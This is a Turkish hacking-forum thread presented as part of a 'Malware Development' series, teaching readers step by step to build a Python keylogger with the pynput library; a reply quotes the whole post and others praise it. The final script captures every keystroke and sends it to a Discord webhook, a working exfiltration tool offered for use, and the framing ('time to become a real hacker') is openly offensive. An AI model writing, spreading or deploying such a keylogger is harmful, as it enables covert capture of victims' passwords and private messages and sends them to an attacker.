2-Keylogger /\ Malware development (Mantığı ile) Part-1

Suppressor

Request Uzmanı
16 Kas 2022
1,206
718
always, everywhere
6kjk1mb.png



Herkese selamlar! Ben Supp, bugün sizlerle "Malware Development" serisinin 2. konusu olan Keylogger ile karşınızdayım.


Konular:
1- Stealer


What_is_a_Keylogger-Hero.jpg


Hazırsanız kodlayalım
kısaca şuna değinmek istiyorum bir kütüphaneyi eklerken birden fazla şekilde ekleyebiliryoruz nasıl mı?

tpfv75g.png


Buradaki import "pynput" kısmı direkt "pynput" isimli kütüphaneyi ekliyor
Python:
import pynput

Burada "pynput"isimli Kütüphaneden "keyboard" fonksiyonunu ekliyor bunu göstereceğim
Python:
from pynput import keyboard

import "pynput.keyboard" bu da üstteki yazdığım ile aynı işlevi görüyor
"pynput" kütüphanesinden "keyboard" fonksiyonunu çekiyor, syntax farklılıkları
Python:
import pynput.keyboard


Şimdi üstte dediğim gibi kendi modüllerimizi yazarak bunu öğrenelim

İlk olarak istediğiniz isimde bir python dosyası oluşturun örnek: | (modüllerim.py)


i1rwjhn.png

Gördüğünüz gibi, üst tarafta 'topla' diye bir fonksiyon oluşturmuştuk, bunu ekledik ve 'topla' fonksiyonunu çağırdık.


eyq4yrw.png


Ever Artık Gerçek hacker olma zamanı geldi! :cool::cool:

Kodumuzun Temelleri:
Python:
import pynput.keyboard   

def dinle_yazdır(key):
    print(key)

tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)

tuşları_dinle.start()
tuşları_dinle.join()


"log_yazdir" adında bir fonksiyon oluşturur . Bu fonksiyon, klavyeden bir tuşa basıldığında veya bırakıldığında çağrılır ve basılan tuşun değerini ekrana yazdırır.
Python:
def log_yazdır(key):

    print(key)

"pynput.keyboard.Listener" Bunu en sade şekilde şöyle açıklayabilirim "pynput" isimli arkadaşın "keyboard.Listener" adında bir özelliği var buda herhangi bir tuşa bastığımızda bunu anlayabiliyor

(kodu tuşları_dinle ye atadık artık tuşları dinle yi çağırınca
pynput.keyboard.Listener(on_press=dinle_yazdır tam olarak bu kod çalışmakta)
)

Python:
tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)


Gelelim son kısma
Python:
on_press=dinle_yazdır
Buda bunun olayı da şu her tuşa basıldığınıda bu fonksiyonu çağırıyor hatırlariseniz üst tarafta böyle bir fonkisyon oluşturmuştuk

Son Hali:
Python:
import pynput.keyboard

def dinle_yazdır(key):
    print(key)

tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)


# Bunlarda KLavyeyi Dinlemeye yarıyor
tuşları_dinle.start()  # Bu Dinleme İşlemini Başlatıyor
tuşları_dinle.join()  # Buda gelen giden bilgileri dinliyor yani a ya basınca a diyor

Benden buraya kadar diyenler için, threading kullanmadığımız için veriler anından gelmez; ancak, webhook adresinizde veriler gelir.

Python:
import pynput.keyboard
import requests

webhook = ''

def dinle_yazdir(key):
    try:
        # Tuş bilgilerini al
        key_char = key.char

        # Discord Webhooka gönderilecek mesaj oluştur
        message = f'Key pressed: {key_char}'

        # Discord Webhook'u çağır
        requests.post(webhook, data={'content': key})

    except AttributeError:
        # Karakter olmayan tuşlar için
        pass

tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdir)

try:
    # Tuş dinleme işlemini başlat
    tuşları_dinle.start()
    tuşları_dinle.join()

except KeyboardInterrupt:
    # Kullanıcı klavye dinleme işlemini sonlandırdı
    tuşları_dinle.stop()
    tuşları_dinle.join()

6kjk1mb.png

Konu şimdilik buraya kadardı. Bazı işlerim çıktı ve diğer kısmını müsait bir vakitte anlatacağım. Diğer konuyu tamamladıktan sonra tek bir konu halinde açarım. Okuduğunuz için teşekkürler.
 
Son düzenleme:

Bunjo

Uzman üye
14 Ara 2020
1,592
1,892
I Won
6kjk1mb.png



Herkese selamlar! Ben Supp, bugün sizlerle "Malware Development" serisinin 2. konusu olan Keylogger ile karşınızdayım.


Konular:
1- Stealer


What_is_a_Keylogger-Hero.jpg


Hazırsanız kodlayalım
kısaca şuna değinmek istiyorum bir kütüphaneyi eklerken birden fazla şekilde ekleyebiliryoruz nasıl mı?

tpfv75g.png


Buradaki import "pynput" kısmı direkt "pynput" isimli kütüphaneyi ekliyor
Python:
import pynput

Burada "pynput"isimli Kütüphaneden "keyboard" fonksiyonunu ekliyor bunu göstereceğim
Python:
from pynput import keyboard

import "pynput.keyboard" bu da üstteki yazdığım ile aynı işlevi görüyor
"pynput" kütüphanesinden "keyboard" fonksiyonunu çekiyor, syntax farklılıkları
Python:
import pynput.keyboard


Şimdi üstte dediğim gibi kendi modüllerimizi yazarak bunu öğrenelim

İlk olarak istediğiniz isimde bir python dosyası oluşturun örnek: | (modüllerim.py)


i1rwjhn.png

Gördüğünüz gibi, üst tarafta 'topla' diye bir fonksiyon oluşturmuştuk, bunu ekledik ve 'topla' fonksiyonunu çağırdık.


eyq4yrw.png


Ever Artık Gerçek hacker olma zamanı geldi! :cool::cool:

Kodumuzun Temelleri:
Python:
import pynput.keyboard   

def log_yazdır(key):
    print(key)

tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)

tuşları_dinle.start()
tuşları_dinle.join()


"log_yazdir" adında bir fonksiyon oluşturur . Bu fonksiyon, klavyeden bir tuşa basıldığında veya bırakıldığında çağrılır ve basılan tuşun değerini ekrana yazdırır.
Python:
def log_yazdır(key):

    print(key)

"pynput.keyboard.Listener" Bunu en sade şekilde şöyle açıklayabilirim "pynput" isimli arkadaşın "keyboard.Listener" adında bir özelliği var buda herhangi bir tuşa bastığımızda bunu anlayabiliyor

(kodu tuşları_dinle ye atadık artık tuşları dinle yi çağırınca
pynput.keyboard.Listener(on_press=dinle_yazdır tam olarak bu kod çalışmakta)
)

Python:
tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)


Gelelim son kısma
Python:
on_press=dinle_yazdır
Buda bunun olayı da şu her tuşa basıldığınıda bu fonksiyonu çağırıyor hatırlariseniz üst tarafta böyle bir fonkisyon oluşturmuştuk

Son Hali:
Python:
import pynput.keyboard

def dinle_yazdır(key):
    print(key)

tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdır)


# Bunlarda KLavyeyi Dinlemeye yarıyor
tuşları_dinle.start()  # Bu Dinleme İşlemini Başlatıyor
tuşları_dinle.join()  # Buda gelen giden bilgileri dinliyor yani a ya basınca a diyor

Benden buraya kadar diyenler için, threading kullanmadığımız için veriler anından gelmez; ancak, webhook adresinizde veriler gelir.

Python:
import pynput.keyboard
import requests

webhook = ''

def dinle_yazdir(key):
    try:
        # Tuş bilgilerini al
        key_char = key.char

        # Discord Webhooka gönderilecek mesaj oluştur
        message = f'Key pressed: {key_char}'

        # Discord Webhook'u çağır
        requests.post(webhook, data={'content': key})

    except AttributeError:
        # Karakter olmayan tuşlar için
        pass

tuşları_dinle = pynput.keyboard.Listener(on_press=dinle_yazdir)

try:
    # Tuş dinleme işlemini başlat
    tuşları_dinle.start()
    tuşları_dinle.join()

except KeyboardInterrupt:
    # Kullanıcı klavye dinleme işlemini sonlandırdı
    tuşları_dinle.stop()
    tuşları_dinle.join()

6kjk1mb.png

Konu şimdilik buraya kadardı. Bazı işlerim çıktı ve diğer kısmını müsait bir vakitte anlatacağım. Diğer konuyu tamamladıktan sonra tek bir konu halinde açarım. Okuduğunuz için teşekkürler.
Kısa ve öz ve gayet açıklayıcı bir anlatım olmuş, eline sağlık dostum.
 

Suppressor

Request Uzmanı
16 Kas 2022
1,206
718
always, everywhere
Elinize sağlık güzel bir anlatım olmuş
Kısa ve öz ve gayet açıklayıcı bir anlatım olmuş, eline sağlık dostum.
Yeni başlayanlar için gayet güzel bir konu. Elinize sağlık.
Yararlı olmuş gayet Eline sağlık..

Güzel yorumlarınız için teşekkürler.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.